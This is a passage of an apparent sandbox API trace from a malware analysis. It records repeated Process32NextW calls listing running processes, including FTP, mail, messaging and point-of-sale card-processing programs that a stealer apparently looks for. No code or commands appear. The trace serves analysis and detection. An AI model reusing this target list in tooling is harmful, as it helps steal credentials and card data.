th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0141.779] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0141.780] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0141.781] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0141.782] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0141.783] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0141.784] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0141.786] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0141.787] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0141.789] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0141.791] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0141.793] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0141.794] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0141.796] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0141.798] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0141.800] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0141.801] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0141.803] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0141.805] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0141.815] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0141.817] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0141.820] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0141.823] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0141.826] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0141.829] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0141.832] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0141.835] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0141.838] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0141.842] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0141.845] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0141.847] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0141.850] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0141.852] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0141.855] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0141.857] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0141.860] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0141.862] CloseHandle (hObject=0x144) returned 1 [0141.863] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0xc48) returned 0x144 [0141.876] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.879] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.881] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.883] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.885] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.887] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.889] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.892] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.894] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.896] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0141.899] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.901] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.903] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.904] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.909] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.911] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.913] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.915] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.916] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0141.918] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0141.943] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.945] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0141.946] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0141.948] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0141.949] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0141.951] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.952] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0141.954] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0141.956] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x7bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0141.966] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist.exe")) returned 1 [0141.968] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="standard private.exe")) returned 1 [0141.969] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="available section.exe")) returned 1 [0141.971] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="hold-policy-consider.exe")) returned 1 [0141.973] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1 [0141.975] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="body-surface.exe")) returned 1 [0141.977] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="his-such.exe")) returned 1 [0141.979] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="where.exe")) returned 1 [0141.981] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="question necessary.exe")) returned 1 [0141.982] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="onlyfight.exe")) returned 1 [0141.984] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="explainend.exe")) returned 1 [0141.986] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="speak.exe")) returned 1 [0141.987] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="manage agreement step.exe")) returned 1 [0141.989] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoid.exe")) returned 1 [0141.991] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="others_set_heavy.exe")) returned 1 [0141.992] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0141.994] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0141.995] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, 